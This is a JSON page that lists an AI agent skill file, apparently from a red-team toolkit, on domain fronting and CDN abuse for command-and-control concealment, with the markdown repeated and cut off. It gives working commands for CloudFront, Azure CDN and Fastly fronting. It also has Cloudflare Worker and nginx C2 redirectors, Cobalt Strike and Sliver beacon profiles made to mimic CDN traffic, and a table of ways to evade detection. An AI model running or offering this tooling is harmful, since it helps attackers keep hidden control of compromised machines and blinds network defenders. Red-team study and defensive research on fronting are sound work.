[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M798G2EJNWMMB4KY5JDAZ3SC":3,"skill-same:01M798G2EJNWMMB4KY5JDAZ3SC":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M798G2EJNWMMB4KY5JDAZ3SC","c2-domain-fronting",null,"Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-domain-fronting\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: c2-domain-fronting\ndescription: \"Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: command-and-control\n  when_to_use: \"domain fronting, CDN c2, cloudfront c2, azure cdn, fastly, SNI mismatch, cdn redirector, fronting profile\"\n  tags: c2, domain-fronting, cdn, cloudfront, azure-cdn, fastly, sni, redirector, opsec\n  mitre_attack: T1090.004, T1102.002, T1001\n---\n\n# Domain Fronting & CDN Abuse for C2\n\nDomain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., `cdn.microsoft.com`) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.\n\n## Quick Reference\n\n```bash\n# Test domain fronting via CloudFront\ncurl -s -H \"Host: \u003CC2_DISTRIBUTION>.cloudfront.net\" https:\u002F\u002Fallowed.cloudfront.net\u002Fsearch\n\n# Test Azure CDN fronting\ncurl -s -H \"Host: \u003CC2_ENDPOINT>.azureedge.net\" https:\u002F\u002Fajax.aspnetcdn.com\u002Ftest\n\n# Sliver HTTPS listener with domain fronting\nhttps --lhost 0.0.0.0 --lport 443 --domain \u003CC2_ORIGIN>\n\n# Cobalt Strike — set in Malleable C2 profile\n# header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Proxy: Domain Fronting | T1090.004 | CDN-based SNI\u002FHost header mismatch for C2 |\n| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |\n| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |\n\n## 1. The Domain Fronting Technique\n\n### How It Works\n```\n┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐\n│ Implant │ ─────────────────────────────────►  │   CDN    │\n│         │    Host: c2.attacker.cloudfront.net  │  Edge    │\n└─────────┘                                     └────┬─────┘\n                                                     │ Routes by Host header\n                                                     ▼\n                                               ┌──────────┐\n                                               │ C2 Origin│\n                                               │  Server  │\n                                               └──────────┘\n```\n\n**TLS layer (visible to network monitor):**\n- SNI = `allowed.example.com` (high-reputation domain on same CDN)\n- Certificate = CDN wildcard cert (e.g., `*.cloudfront.net`)\n- IP = CDN edge node\n\n**HTTP layer (inside TLS, invisible to monitor):**\n- `Host: c2-distribution.cloudfront.net` → CDN routes to operator's origin\n\n**Result:** Blocking the C2 requires blocking the entire CDN.\n\n### Requirements\n1. CDN that routes by Host header (not all do — see provider matrix)\n2. A legitimate high-reputation domain on the same CDN for the SNI\n3. Operator's C2 server registered as a CDN origin\u002Fbackend\n4. The CDN must not enforce SNI == Host (many now do)\n\n## 2. CloudFront Domain Fronting\n\n### Setup\n```bash\n# 1. Create CloudFront distribution pointing to C2 origin\naws cloudfront create-distribution \\\n  --origin-domain-name \u003CC2_ORIGIN_IP_OR_DOMAIN> \\\n  --default-root-object index.html \\\n  --query 'Distribution.DomainName'\n# Returns: d1234abcdef.cloudfront.net\n\n# 2. Find a frontable domain (legitimate site on CloudFront)\n# Use: dig \u003CCANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net\ndig allowed-domain.com CNAME +short\n# Output: d9876xyz.cloudfront.net. → same CDN, usable as front\n\n# 3. Test fronting\ncurl -v -H \"Host: d1234abcdef.cloudfront.net\" \\\n  https:\u002F\u002Fallowed-domain.com\u002Fbeacon\n\n# Successful: HTTP 200 from your C2 origin\n# Failed: HTTP 403 \"The request could not be satisfied\" — front domain not viable\n```\n\n### CloudFront Configuration\n```bash\n# Create distribution via JSON config\ncat > \u002Fworkspace\u002Fc2\u002Fcloudfront-config.json \u003C\u003C 'EOF'\n{\n  \"CallerReference\": \"c2-$(date +%s)\",\n  \"Origins\": {\n    \"Items\": [{\n      \"Id\": \"c2-origin\",\n      \"DomainName\": \"\u003CC2_ORIGIN>\",\n      \"CustomOriginConfig\": {\n        \"HTTPPort\": 80,\n        \"HTTPSPort\": 443,\n        \"OriginProtocolPolicy\": \"https-only\"\n      }\n    }],\n    \"Quantity\": 1\n  },\n  \"DefaultCacheBehavior\": {\n    \"TargetOriginId\": \"c2-origin\",\n    \"ViewerProtocolPolicy\": \"https-only\",\n    \"AllowedMethods\": {\n      \"Items\": [\"GET\", \"HEAD\", \"POST\", \"PUT\", \"PATCH\", \"DELETE\", \"OPTIONS\"],\n      \"Quantity\": 7\n    },\n    \"ForwardedValues\": {\n      \"QueryString\": true,\n      \"Cookies\": {\"Forward\": \"all\"},\n      \"Headers\": {\"Items\": [\"*\"], \"Quantity\": 1}\n    },\n    \"MinTTL\": 0, \"DefaultTTL\": 0, \"MaxTTL\": 0\n  },\n  \"Enabled\": true,\n  \"Comment\": \"\"\n}\nEOF\n\naws cloudfront create-distribution --distribution-config file:\u002F\u002F\u002Fworkspace\u002Fc2\u002Fcloudfront-config.json\n```\n\n### Current Status (CloudFront)\n> **AWS partially mitigated domain fronting in 2018.** CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:\n> - Fronting within the same distribution (multiple CNAMEs) still works\n> - Fronting to distributions without custom domains may work intermittently\n> - CloudFront Functions can be used to rewrite headers before origin routing\n\n## 3. Azure CDN Domain Fronting\n\nAzure CDN (via Verizon\u002FAkamai POP) has historically been more permissive with Host header routing.\n\n### Setup\n```bash\n# 1. Create Azure CDN profile and endpoint\naz cdn profile create --name c2-cdn --resource-group \u003CRG> --sku Standard_Verizon\naz cdn endpoint create \\\n  --name \u003CC2_ENDPOINT> \\\n  --profile-name c2-cdn \\\n  --resource-group \u003CRG> \\\n  --origin \u003CC2_ORIGIN> \\\n  --origin-host-header \u003CC2_ORIGIN>\n\n# Endpoint: \u003CC2_ENDPOINT>.azureedge.net\n\n# 2. Test fronting with a high-reputation Azure CDN domain\ncurl -v -H \"Host: \u003CC2_ENDPOINT>.azureedge.net\" \\\n  https:\u002F\u002Fajax.aspnetcdn.com\u002Ftest\n\n# 3. Alternative fronting domains on Azure CDN:\n#    - ajax.aspnetcdn.com\n#    - az416426.vo.msecnd.net\n#    - Various *.azureedge.net endpoints\n```\n\n### Azure-Specific Notes\n- Azure has been tightening validation since 2021\n- `Standard_Microsoft` SKU enforces SNI\u002FHost matching — use `Standard_Verizon`\n- Azure Front Door provides similar capabilities with more control\n- Test each frontable domain before deployment; availability changes\n\n## 4. Fastly Domain Fronting\n\nFastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.\n\n### Setup\n```bash\n# 1. Create Fastly service via API\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"c2-service\",\"type\":\"vcl\"}'\n\n# 2. Add backend (C2 origin)\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Fbackend\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -d \"name=c2-origin&address=\u003CC2_ORIGIN>&port=443&use_ssl=1\"\n\n# 3. Add domain\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Fdomain\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -d \"name=c2-front.global.ssl.fastly.net\"\n\n# 4. Activate version\ncurl -X PUT \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Factivate\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\"\n\n# 5. Test\ncurl -v -H \"Host: c2-front.global.ssl.fastly.net\" \\\n  https:\u002F\u002Flegitimate-customer.global.ssl.fastly.net\u002Fbeacon\n```\n\n## 5. CDN-Based Redirectors\n\nWhen pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.\n\n### Cloudflare Worker Redirector\n```javascript\n\u002F\u002F Cloudflare Worker — proxies C2 traffic to origin\n\u002F\u002F Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)\n\naddEventListener(\"fetch\", event => {\n  event.respondWith(handleRequest(event.request));\n});\n\nasync function handleRequest(request) {\n  const C2_ORIGIN = \"https:\u002F\u002F\u003CC2_SERVER>\";\n  const url = new URL(request.url);\n\n  \u002F\u002F Only proxy specific paths (blend with legitimate 404s on others)\n  if (!url.pathname.startsWith(\"\u002Fapi\u002Fv2\u002F\")) {\n    return new Response(\"Not Found\", { status: 404 });\n  }\n\n  \u002F\u002F Forward to C2 origin\n  const c2Url = C2_ORIGIN + url.pathname + url.search;\n  const modifiedRequest = new Request(c2Url, {\n    method: request.method,\n    headers: request.headers,\n    body: request.body\n  });\n\n  const response = await fetch(modifiedRequest);\n\n  \u002F\u002F Strip identifying headers from response\n  const modifiedResponse = new Response(response.body, response);\n  modifiedResponse.headers.set(\"Server\", \"cloudflare\");\n  modifiedResponse.headers.delete(\"X-Powered-By\");\n\n  return modifiedResponse;\n}\n```\n\n### Nginx Redirector (On CDN Origin)\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirect.conf\n# Sits behind CDN; forwards matching requests to teamserver\n\nserver {\n    listen 443 ssl;\n    server_name \u003CC2_ORIGIN>;\n\n    ssl_certificate     \u002Fetc\u002Fletsencrypt\u002Flive\u002F\u003CC2_ORIGIN>\u002Ffullchain.pem;\n    ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002F\u003CC2_ORIGIN>\u002Fprivkey.pem;\n\n    # Proxy Beacon traffic to teamserver\n    location \u002Fs\u002Fref {\n        proxy_pass https:\u002F\u002F127.0.0.1:8443;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        proxy_ssl_verify off;\n    }\n\n    location \u002Fgp\u002Fproduct {\n        proxy_pass https:\u002F\u002F127.0.0.1:8443;\n        proxy_set_header Host $host;\n        proxy_ssl_verify off;\n    }\n\n    # Return legitimate content for other paths (categorization)\n    location \u002F {\n        root \u002Fvar\u002Fwww\u002Fhtml;\n        index index.html;\n    }\n}\n```\n\n## 6. Cobalt Strike Integration\n\n### Malleable C2 Profile for Domain Fronting\n```\n# \u002Fworkspace\u002Fprofiles\u002Ffronting.profile\n\nset sample_name \"CDN Fronting Profile\";\nset sleeptime \"60000\";\nset jitter    \"40\";\nset useragent \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\";\nset host_stage \"false\";\n\nhttps-certificate {\n    # Use the CDN's certificate — no custom cert needed\n    # The CDN terminates TLS; origin connection is separate\n    set CN \"*.cloudfront.net\";\n    set O  \"Amazon\";\n    set C  \"US\";\n}\n\nhttp-get {\n    set uri \"\u002Fs\u002Fref=nb_sb_noss_2\";\n\n    client {\n        header \"Accept\" \"*\u002F*\";\n        header \"Accept-Language\" \"en-US,en;q=0.5\";\n        # This is the critical header — CDN routes by it\n        header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n\n        metadata {\n            base64url;\n            header \"Cookie\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"text\u002Fhtml; charset=utf-8\";\n        header \"Server\" \"CloudFront\";\n        header \"X-Cache\" \"Hit from cloudfront\";\n\n        output {\n            netbios;\n            prepend \"\u003C!DOCTYPE html>\u003Chtml>\u003Cbody>\";\n            append \"\u003C\u002Fbody>\u003C\u002Fhtml>\";\n            print;\n        }\n    }\n}\n\nhttp-post {\n    set uri \"\u002Fapi\u002Fv2\u002Fsubmit\";\n\n    client {\n        header \"Content-Type\" \"application\u002Fjson\";\n        header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n\n        id {\n            base64url;\n            header \"X-Request-Id\";\n        }\n\n        output {\n            base64url;\n            print;\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"application\u002Fjson\";\n\n        output {\n            netbios;\n            prepend \"{\\\"status\\\":\\\"ok\\\",\\\"payload\\\":\\\"\";\n            append \"\\\"}\";\n            print;\n        }\n    }\n}\n```\n\n### Beacon Configuration\n```\n# In Cobalt Strike listener config:\n# HTTPS Host (stager):  \u003CFRONTABLE_DOMAIN>\n# HTTPS Host (post):    \u003CFRONTABLE_DOMAIN>\n# HTTPS Port:           443\n# Profile:              fronting.profile (loaded at teamserver start)\n#\n# The listener binds on the teamserver; the CDN proxies traffic to it.\n# The Beacon connects to \u003CFRONTABLE_DOMAIN>:443 (CDN edge).\n# The Host header routes to \u003CC2_DISTRIBUTION>.cloudfront.net -> C2 origin.\n```\n\n## 7. Sliver Integration\n\n### Sliver HTTPS with Domain Fronting\n```bash\n# In Sliver console:\n\n# 1. Start HTTPS listener on C2 origin\nhttps --lhost 0.0.0.0 --lport 443 --domain \u003CC2_ORIGIN>\n\n# 2. Generate implant that connects to frontable domain\ngenerate beacon --https \u003CFRONTABLE_DOMAIN> --os windows --arch amd64 \\\n  --seconds 60 --jitter 40 --skip-symbols \\\n  --save \u002Fworkspace\u002Fexploit\u002F\n\n# 3. Custom HTTP C2 profile for fronting\n# Save as profiles\u002Ffronting.json\n```\n\n### Sliver HTTP C2 Profile for Fronting\n```json\n{\n  \"implant_config\": {\n    \"user_agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64)\",\n    \"url_parameters\": [],\n    \"headers\": [\n      {\"name\": \"Host\", \"value\": \"\u003CC2_DISTRIBUTION>.cloudfront.net\", \"probability\": 100},\n      {\"name\": \"Accept\", \"value\": \"text\u002Fhtml\", \"probability\": 100}\n    ]\n  },\n  \"server_config\": {\n    \"headers\": [\n      {\"name\": \"Content-Type\", \"value\": \"text\u002Fhtml; charset=utf-8\", \"probability\": 100},\n      {\"name\": \"Server\", \"value\": \"CloudFront\", \"probability\": 100},\n      {\"name\": \"X-Cache\", \"value\": \"Hit from cloudfront\", \"probability\": 100}\n    ]\n  }\n}\n```\n\n## 8. TLS SNI vs Host Header\n\n```\nTLS ClientHello (visible):  SNI = allowed-site.cloudfront.net\nHTTP Request (encrypted):   Host: c2-dist.cloudfront.net  ← CDN routes by THIS\n```\n\n| Failure Mode | Cause | Fix |\n|-------------|-------|-----|\n| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |\n| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |\n| HTTP 421 | HTTP\u002F2 ORIGIN frame validation | Fall back to HTTP\u002F1.1 |\n| 502\u002F504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |\n\n**ECH\u002FESNI:** Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: `curl -v --ech true https:\u002F\u002F\u003CC2>\u002Fbeacon`\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| SNI\u002FHost mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |\n| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |\n| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |\n| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |\n| HTTP\u002F2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP\u002F1.1 in profile |\n| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend\u002Fappend real HTML |\n| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |\n| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |\n| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |\n| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |\n| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |\n| HTTP\u002F2 enforcement | CDN upgrades to HTTP\u002F2; breaks fronting | Force HTTP\u002F1.1 in profile or use h2 with correct ORIGIN |\n| CDN caching | Stale C2 responses served from cache | Set `Cache-Control: no-store`; TTL=0 in CDN config |\n| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |\n\n## Decision Gate\n\n```\nIs domain fronting viable for this engagement?\n├── Test: curl -H \"Host: \u003CC2>.cloudfront.net\" https:\u002F\u002F\u003CFRONT_DOMAIN>\u002F\n│   ├── HTTP 200 from C2 origin → Fronting works\n│   │   ├── CloudFront available → Use CloudFront + Malleable C2 profile\n│   │   ├── Azure CDN available → Use azureedge.net fronting\n│   │   └── Fastly available → Use Fastly global SSL fronting\n│   ├── HTTP 403 → CDN enforces SNI\u002FHost match\n│   │   ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)\n│   │   ├── Same-distribution fronting (multiple CNAMEs)\n│   │   └── Try alternate CDN provider\n│   └── Connection error → Domain not on CDN\n│       └── Use CDN redirector or direct HTTPS with categorized domain\n├── ECH\u002FESNI available on target CDN?\n│   ├── YES → ECH eliminates need for fronting; SNI is encrypted\n│   └── NO  → Standard fronting or redirector required\n└── Fallback strategy\n    ├── Primary: Domain fronting via CDN\n    ├── Secondary: CDN Worker\u002FFunction redirector\n    └── Tertiary: Alternative C2 channel (see c2-alternative-channels)\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Cobalt Strike | Malleable C2 profiles with fronting support | https:\u002F\u002Fwww.cobaltstrike.com\u002F |\n| Sliver | Open-source C2 with HTTP profile customization | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver |\n| FindFrontableDomains | Discover CDN-hosted domains for fronting | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FFindFrontableDomains |\n| DomainHunter | Expired domain finder with categorization | https:\u002F\u002Fgithub.com\u002Fthreatexpress\u002Fdomainhunter |\n| Meek (Tor) | Domain fronting transport plugin | https:\u002F\u002Ftrac.torproject.org\u002Fprojects\u002Ftor\u002Fwiki\u002Fdoc\u002Fmeek |\n| Cloudflare Workers | Edge function C2 redirector | https:\u002F\u002Fworkers.cloudflare.com\u002F |\n| mod_rewrite | Apache redirector rules | https:\u002F\u002Fgithub.com\u002Fthreatexpress\u002Fcs2modrewrite |\n| RedWarden | C2 traffic inspection\u002Ffiltering proxy | https:\u002F\u002Fgithub.com\u002Fmgeeky\u002FRedWarden |\n","# Domain Fronting & CDN Abuse for C2\n\nDomain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., `cdn.microsoft.com`) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.\n\n## Quick Reference\n\n```bash\n# Test domain fronting via CloudFront\ncurl -s -H \"Host: \u003CC2_DISTRIBUTION>.cloudfront.net\" https:\u002F\u002Fallowed.cloudfront.net\u002Fsearch\n\n# Test Azure CDN fronting\ncurl -s -H \"Host: \u003CC2_ENDPOINT>.azureedge.net\" https:\u002F\u002Fajax.aspnetcdn.com\u002Ftest\n\n# Sliver HTTPS listener with domain fronting\nhttps --lhost 0.0.0.0 --lport 443 --domain \u003CC2_ORIGIN>\n\n# Cobalt Strike — set in Malleable C2 profile\n# header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n```\n\n## MITRE ATT&CK Mapping\n\n| Technique | ID | Usage in Skill |\n|-----------|----|----------------|\n| Proxy: Domain Fronting | T1090.004 | CDN-based SNI\u002FHost header mismatch for C2 |\n| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |\n| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |\n\n## 1. The Domain Fronting Technique\n\n### How It Works\n```\n┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐\n│ Implant │ ─────────────────────────────────►  │   CDN    │\n│         │    Host: c2.attacker.cloudfront.net  │  Edge    │\n└─────────┘                                     └────┬─────┘\n                                                     │ Routes by Host header\n                                                     ▼\n                                               ┌──────────┐\n                                               │ C2 Origin│\n                                               │  Server  │\n                                               └──────────┘\n```\n\n**TLS layer (visible to network monitor):**\n- SNI = `allowed.example.com` (high-reputation domain on same CDN)\n- Certificate = CDN wildcard cert (e.g., `*.cloudfront.net`)\n- IP = CDN edge node\n\n**HTTP layer (inside TLS, invisible to monitor):**\n- `Host: c2-distribution.cloudfront.net` → CDN routes to operator's origin\n\n**Result:** Blocking the C2 requires blocking the entire CDN.\n\n### Requirements\n1. CDN that routes by Host header (not all do — see provider matrix)\n2. A legitimate high-reputation domain on the same CDN for the SNI\n3. Operator's C2 server registered as a CDN origin\u002Fbackend\n4. The CDN must not enforce SNI == Host (many now do)\n\n## 2. CloudFront Domain Fronting\n\n### Setup\n```bash\n# 1. Create CloudFront distribution pointing to C2 origin\naws cloudfront create-distribution \\\n  --origin-domain-name \u003CC2_ORIGIN_IP_OR_DOMAIN> \\\n  --default-root-object index.html \\\n  --query 'Distribution.DomainName'\n# Returns: d1234abcdef.cloudfront.net\n\n# 2. Find a frontable domain (legitimate site on CloudFront)\n# Use: dig \u003CCANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net\ndig allowed-domain.com CNAME +short\n# Output: d9876xyz.cloudfront.net. → same CDN, usable as front\n\n# 3. Test fronting\ncurl -v -H \"Host: d1234abcdef.cloudfront.net\" \\\n  https:\u002F\u002Fallowed-domain.com\u002Fbeacon\n\n# Successful: HTTP 200 from your C2 origin\n# Failed: HTTP 403 \"The request could not be satisfied\" — front domain not viable\n```\n\n### CloudFront Configuration\n```bash\n# Create distribution via JSON config\ncat > \u002Fworkspace\u002Fc2\u002Fcloudfront-config.json \u003C\u003C 'EOF'\n{\n  \"CallerReference\": \"c2-$(date +%s)\",\n  \"Origins\": {\n    \"Items\": [{\n      \"Id\": \"c2-origin\",\n      \"DomainName\": \"\u003CC2_ORIGIN>\",\n      \"CustomOriginConfig\": {\n        \"HTTPPort\": 80,\n        \"HTTPSPort\": 443,\n        \"OriginProtocolPolicy\": \"https-only\"\n      }\n    }],\n    \"Quantity\": 1\n  },\n  \"DefaultCacheBehavior\": {\n    \"TargetOriginId\": \"c2-origin\",\n    \"ViewerProtocolPolicy\": \"https-only\",\n    \"AllowedMethods\": {\n      \"Items\": [\"GET\", \"HEAD\", \"POST\", \"PUT\", \"PATCH\", \"DELETE\", \"OPTIONS\"],\n      \"Quantity\": 7\n    },\n    \"ForwardedValues\": {\n      \"QueryString\": true,\n      \"Cookies\": {\"Forward\": \"all\"},\n      \"Headers\": {\"Items\": [\"*\"], \"Quantity\": 1}\n    },\n    \"MinTTL\": 0, \"DefaultTTL\": 0, \"MaxTTL\": 0\n  },\n  \"Enabled\": true,\n  \"Comment\": \"\"\n}\nEOF\n\naws cloudfront create-distribution --distribution-config file:\u002F\u002F\u002Fworkspace\u002Fc2\u002Fcloudfront-config.json\n```\n\n### Current Status (CloudFront)\n> **AWS partially mitigated domain fronting in 2018.** CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:\n> - Fronting within the same distribution (multiple CNAMEs) still works\n> - Fronting to distributions without custom domains may work intermittently\n> - CloudFront Functions can be used to rewrite headers before origin routing\n\n## 3. Azure CDN Domain Fronting\n\nAzure CDN (via Verizon\u002FAkamai POP) has historically been more permissive with Host header routing.\n\n### Setup\n```bash\n# 1. Create Azure CDN profile and endpoint\naz cdn profile create --name c2-cdn --resource-group \u003CRG> --sku Standard_Verizon\naz cdn endpoint create \\\n  --name \u003CC2_ENDPOINT> \\\n  --profile-name c2-cdn \\\n  --resource-group \u003CRG> \\\n  --origin \u003CC2_ORIGIN> \\\n  --origin-host-header \u003CC2_ORIGIN>\n\n# Endpoint: \u003CC2_ENDPOINT>.azureedge.net\n\n# 2. Test fronting with a high-reputation Azure CDN domain\ncurl -v -H \"Host: \u003CC2_ENDPOINT>.azureedge.net\" \\\n  https:\u002F\u002Fajax.aspnetcdn.com\u002Ftest\n\n# 3. Alternative fronting domains on Azure CDN:\n#    - ajax.aspnetcdn.com\n#    - az416426.vo.msecnd.net\n#    - Various *.azureedge.net endpoints\n```\n\n### Azure-Specific Notes\n- Azure has been tightening validation since 2021\n- `Standard_Microsoft` SKU enforces SNI\u002FHost matching — use `Standard_Verizon`\n- Azure Front Door provides similar capabilities with more control\n- Test each frontable domain before deployment; availability changes\n\n## 4. Fastly Domain Fronting\n\nFastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.\n\n### Setup\n```bash\n# 1. Create Fastly service via API\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"name\":\"c2-service\",\"type\":\"vcl\"}'\n\n# 2. Add backend (C2 origin)\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Fbackend\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -d \"name=c2-origin&address=\u003CC2_ORIGIN>&port=443&use_ssl=1\"\n\n# 3. Add domain\ncurl -X POST \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Fdomain\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\" \\\n  -d \"name=c2-front.global.ssl.fastly.net\"\n\n# 4. Activate version\ncurl -X PUT \"https:\u002F\u002Fapi.fastly.com\u002Fservice\u002F\u003CSVC_ID>\u002Fversion\u002F\u003CVER>\u002Factivate\" \\\n  -H \"Fastly-Key: \u003CAPI_TOKEN>\"\n\n# 5. Test\ncurl -v -H \"Host: c2-front.global.ssl.fastly.net\" \\\n  https:\u002F\u002Flegitimate-customer.global.ssl.fastly.net\u002Fbeacon\n```\n\n## 5. CDN-Based Redirectors\n\nWhen pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.\n\n### Cloudflare Worker Redirector\n```javascript\n\u002F\u002F Cloudflare Worker — proxies C2 traffic to origin\n\u002F\u002F Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)\n\naddEventListener(\"fetch\", event => {\n  event.respondWith(handleRequest(event.request));\n});\n\nasync function handleRequest(request) {\n  const C2_ORIGIN = \"https:\u002F\u002F\u003CC2_SERVER>\";\n  const url = new URL(request.url);\n\n  \u002F\u002F Only proxy specific paths (blend with legitimate 404s on others)\n  if (!url.pathname.startsWith(\"\u002Fapi\u002Fv2\u002F\")) {\n    return new Response(\"Not Found\", { status: 404 });\n  }\n\n  \u002F\u002F Forward to C2 origin\n  const c2Url = C2_ORIGIN + url.pathname + url.search;\n  const modifiedRequest = new Request(c2Url, {\n    method: request.method,\n    headers: request.headers,\n    body: request.body\n  });\n\n  const response = await fetch(modifiedRequest);\n\n  \u002F\u002F Strip identifying headers from response\n  const modifiedResponse = new Response(response.body, response);\n  modifiedResponse.headers.set(\"Server\", \"cloudflare\");\n  modifiedResponse.headers.delete(\"X-Powered-By\");\n\n  return modifiedResponse;\n}\n```\n\n### Nginx Redirector (On CDN Origin)\n```nginx\n# \u002Fetc\u002Fnginx\u002Fsites-available\u002Fc2-redirect.conf\n# Sits behind CDN; forwards matching requests to teamserver\n\nserver {\n    listen 443 ssl;\n    server_name \u003CC2_ORIGIN>;\n\n    ssl_certificate     \u002Fetc\u002Fletsencrypt\u002Flive\u002F\u003CC2_ORIGIN>\u002Ffullchain.pem;\n    